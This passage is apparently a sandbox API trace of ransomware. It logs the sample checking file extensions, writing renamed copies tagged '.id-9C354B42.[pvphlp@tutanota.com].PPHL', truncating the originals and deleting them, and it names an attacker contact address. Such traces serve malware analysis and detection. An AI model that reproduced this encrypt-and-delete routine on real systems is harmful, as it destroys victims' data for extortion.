lstrcmpiW (lpString1=".wmf", lpString2=".PPHL") returned 1 [0074.906] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0074.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.906] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2920) returned 1 [0074.906] CloseHandle (hObject=0x1f0) returned 1 [0074.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0074.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.907] lstrlenW (lpString=".doc") returned 4 [0074.907] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0074.907] lstrlenW (lpString=".docx") returned 5 [0074.907] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0074.907] lstrlenW (lpString=".pdf") returned 4 [0074.907] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0074.907] lstrlenW (lpString=".xls") returned 4 [0074.907] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0074.907] lstrlenW (lpString=".xlsx") returned 5 [0074.907] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0074.907] lstrlenW (lpString=".ppt") returned 4 [0074.907] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0074.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.907] lstrlenW (lpString=".zip") returned 4 [0074.907] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0074.907] lstrlenW (lpString=".rar") returned 4 [0074.907] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0074.907] lstrlenW (lpString=".bz2") returned 4 [0074.907] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0074.907] lstrlenW (lpString=".7z") returned 3 [0074.907] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0074.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.907] lstrlenW (lpString=".dbf") returned 4 [0074.907] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0074.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.907] lstrlenW (lpString=".1cd") returned 4 [0074.907] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0074.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.908] lstrlenW (lpString=".jpg") returned 4 [0074.908] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0074.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.908] lstrlenW (lpString=".doc") returned 4 [0074.908] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0074.908] lstrlenW (lpString=".docx") returned 5 [0074.908] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0074.908] lstrlenW (lpString=".pdf") returned 4 [0074.908] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0074.908] lstrlenW (lpString=".xls") returned 4 [0074.908] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0074.908] lstrlenW (lpString=".xlsx") returned 5 [0074.908] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0074.908] lstrlenW (lpString=".ppt") returned 4 [0074.908] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0074.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.909] lstrlenW (lpString=".zip") returned 4 [0074.909] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0074.909] lstrlenW (lpString=".rar") returned 4 [0074.909] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0074.909] lstrlenW (lpString=".bz2") returned 4 [0074.909] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0074.909] lstrlenW (lpString=".7z") returned 3 [0074.909] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0074.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.909] lstrlenW (lpString=".dbf") returned 4 [0074.909] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0074.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.909] lstrlenW (lpString=".1cd") returned 4 [0074.909] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0074.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0074.909] lstrlenW (lpString=".jpg") returned 4 [0074.909] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0074.909] lstrcmpiW (lpString1=".wmf", lpString2=".PPHL") returned 1 [0074.909] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0074.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.910] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=7498) returned 1 [0074.910] CloseHandle (hObject=0x1f0) returned 1 [0074.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0074.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.910] lstrlenW (lpString=".doc") returned 4 [0074.910] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0074.910] lstrlenW (lpString=".docx") returned 5 [0074.910] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0074.910] lstrlenW (lpString=".pdf") returned 4 [0074.910] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0074.910] lstrlenW (lpString=".xls") returned 4 [0074.910] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0074.910] lstrlenW (lpString=".xlsx") returned 5 [0074.910] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0074.910] lstrlenW (lpString=".ppt") returned 4 [0074.910] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0074.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.910] lstrlenW (lpString=".zip") returned 4 [0074.911] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0074.911] lstrlenW (lpString=".rar") returned 4 [0074.911] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0074.911] lstrlenW (lpString=".bz2") returned 4 [0074.911] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0074.911] lstrlenW (lpString=".7z") returned 3 [0074.911] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.911] lstrlenW (lpString=".dbf") returned 4 [0074.911] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.911] lstrlenW (lpString=".1cd") returned 4 [0074.911] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.911] lstrlenW (lpString=".jpg") returned 4 [0074.911] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.911] lstrlenW (lpString=".doc") returned 4 [0074.911] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0074.911] lstrlenW (lpString=".docx") returned 5 [0074.911] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0074.911] lstrlenW (lpString=".pdf") returned 4 [0074.911] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0074.911] lstrlenW (lpString=".xls") returned 4 [0074.911] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0074.911] lstrlenW (lpString=".xlsx") returned 5 [0074.911] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0074.911] lstrlenW (lpString=".ppt") returned 4 [0074.911] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.911] lstrlenW (lpString=".zip") returned 4 [0074.911] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0074.911] lstrlenW (lpString=".rar") returned 4 [0074.911] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0074.912] lstrlenW (lpString=".bz2") returned 4 [0074.912] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0074.912] lstrlenW (lpString=".7z") returned 3 [0074.912] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0074.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.912] lstrlenW (lpString=".dbf") returned 4 [0074.912] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0074.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.912] lstrlenW (lpString=".1cd") returned 4 [0074.912] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0074.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0074.912] lstrlenW (lpString=".jpg") returned 4 [0074.912] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0074.912] lstrcmpiW (lpString1=".htm", lpString2=".PPHL") returned -1 [0074.912] lstrlenW (lpString="Hand Prints.htm") returned 15 [0074.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0074.916] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=235) returned 1 [0074.917] CloseHandle (hObject=0x1f0) returned 1 [0074.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0074.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0074.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0074.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0074.917] lstrlenW (lpString=".doc") returned 4 [0074.917] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0074.917] lstrlenW (lpString=".docx") returned 5 [0074.918] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0074.918] lstrlenW (lpString=".pdf") returned 4 [0074.918] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0074.918] lstrlenW (lpString=".xls") returned 4 [0074.918] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0074.918] lstrlenW (lpString=".xlsx") returned 5 [0074.918] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0074.918] lstrlenW (lpString=".ppt") returned 4 [0074.918] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0074.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0074.918] lstrlenW (lpString=".zip") returned 4 [0074.918] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0074.918] lstrlenW (lpString=".rar") returned 4 [0074.918] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0074.918] lstrlenW (lpString=".bz2") returned 4 [0074.918] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0074.918] lstrlenW (lpString=".7z") returned 3 [0074.918] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0074.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0074.918] lstrlenW (lpString=".dbf") returned 4 [0074.918] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0076.159] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.160] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.446] GetLastError () returned 0x0 [0076.446] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0xb20, lpOverlapped=0x0) returned 1 [0076.447] WriteFile (in: hFile=0x15c, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0076.448] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.448] WriteFile (in: hFile=0x15c, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.448] SetEndOfFile (hFile=0x15c) returned 1 [0076.449] CloseHandle (hObject=0x15c) returned 1 [0076.449] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.449] SetEndOfFile (hFile=0x20c) returned 1 [0076.450] CloseHandle (hObject=0x20c) returned 1 [0076.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.450] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0076.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.450] lstrlenW (lpString=".doc") returned 4 [0076.450] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.450] lstrlenW (lpString=".docx") returned 5 [0076.450] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.450] lstrlenW (lpString=".pdf") returned 4 [0076.450] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.450] lstrlenW (lpString=".xls") returned 4 [0076.450] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.450] lstrlenW (lpString=".xlsx") returned 5 [0076.451] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.451] lstrlenW (lpString=".ppt") returned 4 [0076.451] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.451] lstrlenW (lpString=".zip") returned 4 [0076.451] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.451] lstrlenW (lpString=".rar") returned 4 [0076.451] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.451] lstrlenW (lpString=".bz2") returned 4 [0076.451] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.451] lstrlenW (lpString=".7z") returned 3 [0076.451] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.451] lstrlenW (lpString=".dbf") returned 4 [0076.451] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.451] lstrlenW (lpString=".1cd") returned 4 [0076.451] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.451] lstrlenW (lpString=".jpg") returned 4 [0076.451] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.451] lstrlenW (lpString=".doc") returned 4 [0076.451] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.451] lstrlenW (lpString=".docx") returned 5 [0076.451] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.451] lstrlenW (lpString=".pdf") returned 4 [0076.451] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.451] lstrlenW (lpString=".xls") returned 4 [0076.451] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.451] lstrlenW (lpString=".xlsx") returned 5 [0076.451] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.451] lstrlenW (lpString=".ppt") returned 4 [0076.452] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.452] lstrlenW (lpString=".zip") returned 4 [0076.452] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.452] lstrlenW (lpString=".rar") returned 4 [0076.452] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.452] lstrlenW (lpString=".bz2") returned 4 [0076.452] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.452] lstrlenW (lpString=".7z") returned 3 [0076.452] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.452] lstrlenW (lpString=".dbf") returned 4 [0076.452] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.452] lstrlenW (lpString=".1cd") returned 4 [0076.452] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0076.452] lstrlenW (lpString=".jpg") returned 4 [0076.452] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.452] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.452] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.453] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=31837) returned 1 [0076.453] CloseHandle (hObject=0x20c) returned 1 [0076.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0076.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0076.453] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.453] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0076.453] GetLastError () returned 0x0 [0076.453] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0076.456] WriteFile (in: hFile=0x15c, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0076.458] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.458] WriteFile (in: hFile=0x15c, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.458] SetEndOfFile (hFile=0x15c) returned 1 [0076.458] CloseHandle (hObject=0x15c) returned 1 [0076.458] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.458] SetEndOfFile (hFile=0x20c) returned 1 [0076.459] CloseHandle (hObject=0x20c) returned 1 [0076.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.459] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 